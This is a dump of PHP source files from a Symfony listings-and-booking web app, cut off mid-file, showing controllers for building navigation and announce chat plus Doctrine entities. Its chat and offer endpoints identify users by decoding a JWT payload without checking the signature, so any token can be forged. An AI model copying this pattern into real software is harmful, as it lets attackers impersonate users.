@Route("/building/navigation", name="app_building_navigation") */ public function index(Request $request): Response { $town=$request->get("destination"); $building=$request->get("building"); $startDate=$request->get("startDate"); if(sizeof($startDate)==10){ $startDate=$startDate." 12:00"; } $endDate=$request->get("endDate"); if(sizeof($endDate)==10){ $endDate=$endDate." 12:01"; } $adult=$request->get("adult"); $child=$request->get("child"); if(empty($adult)|| !isset($adult)){ $adult=1; } $local=$request->getLocale(); $language=""; $onlinePath=$request->getBasePath(); if(strcmp($local,"fr")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language' style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/french_flag.png\" style=\"height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> Français</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Anglais</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Espagnol</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Italien</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Chinois</a></li> '; }else if(strcmp($local,"es")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language' style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/flag_spanish.png\" style=\"height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> Español</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Francés</a></li> <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Inglés</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Italiano</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Chinise</a></li> '; }else if (strcmp($local,"en")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language'style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/flag_england.png\" style=\"height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> English</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> French</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Italiano</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Chinise</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Spanish</a></li>'; }else if (strcmp($local,"it")==0) { $language=" <a href=\"#\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language'style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/italiano_flag.png\" style=\"height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> Italiano</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Francese</a></li> <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> inglese</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Cinese</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Spagnolo</a></li>'; }else if (strcmp($local,"zh_CN")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language'style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/china_flag.png\" style=\"height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> 中國人</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 法語</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 意大利語</a></li> <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 中國人</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 西班牙語</a></li>'; } $date1 = new DateTime($startDate); $date2 = new DateTime($endDate); $interval = $date1->diff($date2); $sign="+"; $result= $this->entityManager->getRepository(Room::class)->findRoomsByBuilding($building); return $this->render('building_navigation/building_navigation.html.twig', [ 'controller_name' => 'BuildingNavigationController', 'companyName' => $this->getParameter("app_client"), 'languageChoose' => $body, 'onlinePath' => $onlinePath, 'language' => $language, 'building' => $building, 'buildingObjet' => $this->entityManager->getRepository(Building::class)->find($building), 'town' => $town, 'startDate' => $startDate, 'endDate' => $endDate, 'adult' => $adult, 'child' => $child, 'interval' => $sign.$interval->format('%d'), 'showItem' => 2, 'result' => $result, 'appUser' =>$this->getParameter('appUser'), 'host'=>$this->siteURL(), ]); } function siteURL() { $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://"; $domainName = $_SERVER['HTTP_HOST'].'/'; if ($_SERVER['HTTP_HOST'] == "localhost") { return $protocol.$domainName.$this->getParameter('localRepository')."/".$this->getParameter('apiLink'); }else{ return $protocol.$domainName.$this->getParameter('apiLink'); } } const GENERATE_PAYMENT = "app_payment"; private $urlGenerator; public function getGeneratePaymentUrl(BookingRoom $bookingRoom): string { return $this->urlGenerator->generate(self::GENERATE_PAYMENT,["token"=>$bookingRoom->getPayment()->getPaymentToken()]); } } Controller/AnnounceDetailController.php 0000644 00000045344 15117152230 0014344 0 ustar 00 <?php namespace App\Controller; use App\Entity\Actualite; use App\Entity\Announce; use App\Entity\AnnounceChannel; use App\Entity\AnnounceChat; use App\Entity\BuildingType; use App\Entity\Company; use App\Entity\Town; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use FOS\RestBundle\Controller\Annotations as Rest; use FOS\RestBundle\Controller\Annotations\View; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\JsonResponse; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Routing\Annotation\Route; use Symfony\Component\Routing\Generator\UrlGeneratorInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class AnnounceDetailController extends AbstractController { private $emailVerifier; private $entityManager; public function __construct(EmailVerifier $emailVerifier, EntityManagerInterface $entityManager) { $this->emailVerifier = $emailVerifier; $this->entityManager = $entityManager; } /** * @Route("/announce/detail", name="app_announce_detail") */ public function index(Request $request): Response { $local=$request->getLocale(); $language=""; $onlinePath=$request->getBasePath(); if(strcmp($local,"fr")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language' style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/french_flag.png\" style=\"height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> Français</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Anglais</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Espagnol</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Italien</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Chinois</a></li> '; }else if(strcmp($local,"es")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language' style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/flag_spanish.png\" style=\"height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> Español</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Francés</a></li> <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Inglés</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Italiano</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Chinise</a></li> '; }else if (strcmp($local,"en")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language'style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/flag_england.png\" style=\"height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> English</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> French</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Italiano</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Chinise</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Spanish</a></li>'; }else if (strcmp($local,"it")==0) { $language=" <a href=\"#\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language'style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/italiano_flag.png\" style=\"height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> Italiano</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Francese</a></li> <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> inglese</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Cinese</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Spagnolo</a></li>'; }else if (strcmp($local,"zh_CN")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language'style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/china_flag.png\" style=\"height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> 中國人</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 法語</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 意大利語</a></li> <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 中國人</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 西班牙語</a></li>'; } try{ $announceId=$request->get("announce"); $current_announce=$this->entityManager->getRepository(Announce::class)->find($announceId); if($announceId=="all"){ $current_announce="all"; } }catch (\Exception $exception){ $current_announce=null; } $news= $this->entityManager->getRepository(Actualite::class)->findAll(); $towns= $this->entityManager->getRepository(Town::class)->findBy(array(),array("vues"=>"DESC")); $announces= $this->entityManager->getRepository(Announce::class)->findAll(); $buildingTypes= $this->entityManager->getRepository(BuildingType::class)->findAll(); return $this->render('announce_detail/announce_detail.html.twig', [ 'news' =>$news, 'announces' =>$announces, 'towns' => $towns, 'buildingTypes' => $buildingTypes, 'current_announce' => $current_announce, 'companyName' => $this->getParameter("app_client"), 'languageChoose' => $body, 'onlinePath' => $onlinePath, 'language' => $language, 'local' => $local, 'appUser' =>$this->getParameter('appUser'), 'host'=>$this->siteURL(), ]); } function siteURL() { $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://"; $domainName = $_SERVER['HTTP_HOST'].'/'; if ($_SERVER['HTTP_HOST'] == "localhost") { return $protocol.$domainName.$this->getParameter('localRepository')."/".$this->getParameter('apiLink'); }else{ return $protocol.$domainName.$this->getParameter('apiLink'); } } /** * Create announce channel with an offer. * @Rest\Post ("announce_offer/generate") * @View */ public function makeOffre(Request $request): Response{ // announce/offer/_user_token $data = json_decode($request->getContent(), true); $user= $this->entityManager->getRepository(User::class)->findOneBySomeField($this->decodeJWTPayloadOnly($data["_user_token"])->username); $announce=$this->entityManager->getRepository(Announce::class)->find($data["announce"]); if(is_null($announce) ){ return new JsonResponse( array( "resultCode"=>404, "message"=>"announce not found", "result"=>null, ), Response::HTTP_NOT_ACCEPTABLE); }else if(is_null($user)){ return new JsonResponse( array( "resultCode"=>404, "message"=>"user not found", "result"=>null, ), Response::HTTP_NOT_ACCEPTABLE); }else{ $searchInBD=$this->entityManager->getRepository(AnnounceChannel::class)->findOneBySomeField($announce->getId(), $user->getId() ); if($announce->getCreatedBy()->getId()!=$user->getId()) { if (is_null($searchInBD)) { $announceChanel = new AnnounceChannel(); $announceChanel->setAnnounce($announce); $announceChanel->setOffer($data["offer"]); $announceChanel->setCreatedBy($user); $this->entityManager->persist($announceChanel); $this->entityManager->flush(); $newChat = new AnnounceChat(); $newChat->setMessage("Je suis interessé par " . $announce->getTitleFr() . " J'offre " . $data["offer"] . " Xaf"); $newChat->setMessageType("text"); $newChat->setChannel($announceChanel); $newChat->setSendBy($user); $this->entityManager->persist($newChat); $this->entityManager->flush(); return new JsonResponse(array( "resultCode" => 201, "message" => "Successfully Save.", "result" => $announceChanel->getId(), ), Response::HTTP_CREATED); } else { $searchInBD->setOffer($data["offer"]); $this->entityManager->persist($searchInBD); $this->entityManager->flush(); return new JsonResponse(array( "resultCode" => 200, "message" => "Successfully Updated.", "result" => $searchInBD->getId(), ), Response::HTTP_ACCEPTED); } }else{ return new JsonResponse(array( "resultCode" => 403, "message" => "Not authorised to perform this action.", "result" => null, ), Response::HTTP_FORBIDDEN); } } } /** * Create announce channel with an offer. * @Rest\Post ("announce_chat/retrieved") * @View */ public function getMessages(Request $request): Response{ $data = json_decode($request->getContent(), true); $user= $this->entityManager->getRepository(User::class)->findOneBySomeField($this->decodeJWTPayloadOnly($data["_user_token"])->username); $announceChannel=$this->entityManager->getRepository(AnnounceChannel::class)->findOneBySomeField($data["announce"], $user->getId() ); $announceChats=$this->entityManager->getRepository(AnnounceChat::class)->findOneBySomeField($announceChannel->getId()); $result=array(); foreach ($announceChats as $announceChat){ array_push($result, array( "message"=>$announceChat->getMessage(), "messageType"=>$announceChat->getMessageType(), "id"=>$announceChat->getId(), "createdAt"=>$announceChat->getCreatedAt()->format("Y-m-d H:i:s"), "vue"=>$announceChat->isVue(), "sendBy"=>$announceChat->getSendBy()->getId(), ) ); } return new JsonResponse( array( "resultCode"=>200, "ownerId"=>$announceChannel->getAnnounce()->getCreatedBy()->getId(), "ownerName"=>$announceChannel->getAnnounce()->getCreatedBy()->getLastName()." ".$announceChannel->getAnnounce()->getCreatedBy()->getFirstName(), "userId"=>$user->getId(), "userLastName"=>$user->getLastName()." ". $user->getFirstName(), "message"=>"Successfully.", "result"=>$result, ), Response::HTTP_ACCEPTED); } /** * Create announce channel with an offer. * @Rest\Post ("announce_chat/post") * @View */ public function postMessage(Request $request): Response{ $data = json_decode($request->getContent(), true); $user= $this->entityManager->getRepository(User::class)->findOneBySomeField($this->decodeJWTPayloadOnly($data["_user_token"])->username); $announce=$this->entityManager->getRepository(Announce::class)->find($data["announce"]); $announceChannel=$this->entityManager->getRepository(AnnounceChannel::class)->findOneBySomeField($data["announce"], $user->getId() ); if(is_null($announceChannel)){ $announceChannel=new AnnounceChannel(); $announceChannel->setAnnounce($announce); $announceChannel->setCreatedBy($user); $announceChannel->setOffer($announce->getAmount()); $this->entityManager->persist($announceChannel); $this->entityManager->flush(); } $message=new AnnounceChat(); $message->setMessage($data["message"]); $message->setChannel($announceChannel); $message->setSendBy($user); $message->setVue(false ); $message->setMessageType($data["messageType"] ); $this->entityManager->persist($message); $this->entityManager->flush(); $announceChats=$this->entityManager->getRepository(AnnounceChat::class)->findOneBySomeField($announceChannel->getId()); $result=array(); foreach ($announceChats as $announceChat){ array_push($result, array( "message"=>$announceChat->getMessage(), "messageType"=>$announceChat->getMessageType(), "id"=>$announceChat->getId(), "vue"=>$announceChat->isVue(), "createdAt"=>$announceChat->getCreatedAt()->format("Y-m-d H:i:s"), "sendBy"=>$announceChat->getSendBy()->getId(), ) ); } return new JsonResponse( array( "resultCode"=>200, "ownerId"=>$announceChannel->getAnnounce()->getCreatedBy()->getId(), "ownerName"=>$announceChannel->getAnnounce()->getCreatedBy()->getLastName()." ".$announceChannel->getAnnounce()->getCreatedBy()->getFirstName(), "userId"=>$user->getId(), "userLastName"=>$user->getLastName()." ". $user->getFirstName(), "message"=>"Successfully.", "result"=>$result, ), Response::HTTP_ACCEPTED); } function decodeJWTPayloadOnly($token){ $tks = explode('.', $token); if (count($tks) != 3) { return null; } list($headb64, $bodyb64, $cryptob64) = $tks; $input=$bodyb64; $remainder = strlen($input) % 4; if ($remainder) { $padlen = 4 - $remainder; $input .= str_repeat('=', $padlen); } $input = (base64_decode(strtr($input, '-_', '+/'))); if (version_compare(PHP_VERSION, '5.4.0', '>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE > 4)) { $obj = json_decode($input, false, 512, JSON_BIGINT_AS_STRING); } else { $max_int_length = strlen((string) PHP_INT_MAX) - 1; $json_without_bigints = preg_replace('/:\s*(-?\d{'.$max_int_length.',})/', ': "$1"', $input); $obj = json_decode($json_without_bigints); } return $obj; } } Entity/.gitignore 0000644 00000000000 15117152230 0007773 0 ustar 00 Entity/Actualite.php 0000644 00000015062 15117152230 0010445 0 ustar 00 <?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\ActualiteRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=ActualiteRepository::class) */ class Actualite { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="string", length=1055 ) */ private $newTitleFr; /** * @ORM\Column(type="string", length=1055) */ private $contentFr; /** * @ORM\Column(type="string", length=1055) */ private $contentEn; /** * @ORM\Column(type="string", length=1055) */ private $contentEs; /** * @ORM\Column(type="boolean") */ private $publish; /** * @ORM\ManyToOne(targetEntity=User::class) */ private $createdBy; /** * @ORM\Column(type="datetime") */ private $createdAt; /** * @ORM\Column(type="string", length=1055 ) */ private $newTitleEn; /** * @ORM\Column(type="string", length=1055 ) */ private $newTitleEs; /** * @ORM\ManyToMany(targetEntity=Commentaire::class, mappedBy="actualite") */ private $commentaires; /** * @ORM\ManyToOne(targetEntity=MediaObject::class) */ private $cover; /** * @ORM\ManyToOne(targetEntity=MediaObject::class) */ private $picture1; /** * @ORM\ManyToOne(targetEntity=MediaObject::class) */ private $picture2; /** * @ORM\Column(type="integer", nullable=true) */ private $liked; /** * @ORM\Column(type="integer", nullable=true) */ private $unliked; /** * @ORM\ManyToMany(targetEntity=Visitor::class) */ private $visitors; public function __construct() { $this->commentaires = new ArrayCollection(); $this->createdAt = new \DateTime( ); $this->publish = false; $this->visitors = new ArrayCollection(); } public function getId(): ?int { return $this->id; } public function getNewTitleFr(): ?string { return $this->newTitleFr; } public function setNewTitleFr(string $newTitleFr): self { $this->newTitleFr = $newTitleFr; return $this; } public function getContentFr(): ?string { return $this->contentFr; } public function setContentFr(string $contentFr): self { $this->contentFr = $contentFr; return $this; } public function getContentEn(): ?string { return $this->contentEn; } public function setContentEn(string $contentEn): self { $this->contentEn = $contentEn; return $this; } public function getContentEs(): ?string { return $this->contentEs; } public function setContentEs(string $contentEs): self { $this->contentEs = $contentEs; return $this; } public function getPublish(): ?bool { return $this->publish; } public function setPublish(bool $publish): self { $this->publish = $publish; return $this; } public function getCreatedBy(): ?User { return $this->createdBy; } public function setCreatedBy(?User $createdBy): self { $this->createdBy = $createdBy; return $this; } public function getCreatedAt(): ?\DateTimeInterface { return $this->createdAt; } public function setCreatedAt(\DateTimeInterface $createdAt): self { $this->createdAt = $createdAt; return $this; } public function getNewTitleEn(): ?string { return $this->newTitleEn; } public function setNewTitleEn(string $newTitleEn): self { $this->newTitleEn = $newTitleEn; return $this; } public function getNewTitleEs(): ?string { return $this->newTitleEs; } public function setNewTitleEs(string $newTitleEs): self { $this->newTitleEs = $newTitleEs; return $this; } /** * @return Collection|Commentaire[] */ public function getCommentaires(): Collection { return $this->commentaires; } public function addCommentaire(Commentaire $commentaire): self { if (!$this->commentaires->contains($commentaire)) { $this->commentaires[] = $commentaire; $commentaire->addActualite($this); } return $this; } public function removeCommentaire(Commentaire $commentaire): self { if ($this->commentaires->contains($commentaire)) { $this->commentaires->removeElement($commentaire); $commentaire->removeActualite($this); } return $this; } public function getCover(): ?MediaObject { return $this->cover; } public function setCover(?MediaObject $cover): self { $this->cover = $cover; return $this; } public function getPicture1(): ?MediaObject { return $this->picture1; } public function setPicture1(?MediaObject $picture1): self { $this->picture1 = $picture1; return $this; } public function getPicture2(): ?MediaObject { return $this->picture2; } public function setPicture2(?MediaObject $picture2): self { $this->picture2 = $picture2; return $this; } public function getLiked(): ?int { return $this->liked; } public function setLiked(?int $liked): self { $this->liked = $liked; return $this; } public function getUnliked(): ?int { return $this->unliked; } public function setUnliked(?int $unliked): self { $this->unliked = $unliked; return $this; } /** * @return Collection|Visitor[] */ public function getVisitors(): Collection { return $this->visitors; } public function addVisitor(Visitor $visitor): self { if (!$this->visitors->contains($visitor)) { $this->visitors[] = $visitor; } return $this; } public function removeVisitor(Visitor $visitor): self { if ($this->visitors->contains($visitor)) { $this->visitors->removeElement($visitor); } return $this; } public function __toString() { // TODO: Implement __toString() method. return "(".$this->id.")". $this->newTitleEn; } } Entity/Address.php 0000644 00000004146 15117152230 0010120 0 ustar 00 <?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\AddressRepository; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=AddressRepository::class) */ class Address { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="string", length=255) */ private $location; /** * @ORM\Column(type="string", length=255) */ private $phone; /** * @ORM\Column(type="decimal", precision=30, scale=10, nullable=true) */ private $latitude; /** * @ORM\Column(type="decimal", precision=30, scale=10, nullable=true) */ private $longitude; /** * @ORM\ManyToOne(targetEntity=Town::class) * @ORM\JoinColumn(nullable=false) */ private $town; public function getId(): ?int { return $this->id; } public function getLocation(): ?string { return $this->location; } public function setLocation(string $location): self { $this->location = $location; return $this; } public function getPhone(): ?string { return $this->phone; } public function setPhone(string $phone): self { $this->phone = $phone; return $this; } public function getLatitude(): ?string { return $this->latitude; } public function setLatitude(?string $latitude): self { $this->latitude = $latitude; return $this; } public function getLongitude(): ?string { return $this->longitude; } public function setLongitude(?string $longitude): self { $this->longitude = $longitude; return $this; } public function getTown(): ?Town { return $this->town; } public function setTown(?Town $town): self { $this->town = $town; return $this; } public function __toString() { // TODO: Implement __toString() method. return $this->location." - ".$this->town; } } Entity/Commentaire.php 0000644 00000004667 15117152230 0011006 0 ustar 00 <?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\CommentaireRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=CommentaireRepository::class) */ class Commentaire { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="string", length=1055) */ private $userComment; /** * @ORM\Column(type="string", length=255) */ private $commentBy; /** * @ORM\Column(type="datetime") */ private $commentAt; /** * @ORM\ManyToMany(targetEntity=Actualite::class, inversedBy="commentaires") */ private $actualite; public function __construct() { $this->actualite = new ArrayCollection(); $this->commentAt = new \DateTime( ); } public function getId(): ?int { return $this->id; } public function getUserComment(): ?string { return $this->userComment; } public function setUserComment(string $userComment): self { $this->userComment = $userComment; return $this; } public function getCommentBy(): ?string { return $this->commentBy; } public function setCommentBy(string $commentBy): self { $this->commentBy = $commentBy; return $this; } public function getCommentAt(): ?\DateTimeInterface { return $this->commentAt; } public function setCommentAt(\DateTimeInterface $commentAt): self { $this->commentAt = $commentAt; return $this; } /** * @return Collection|Actualite[] */ public function getActualite(): Collection { return $this->actualite; } public function addActualite(Actualite $actualite): self { if 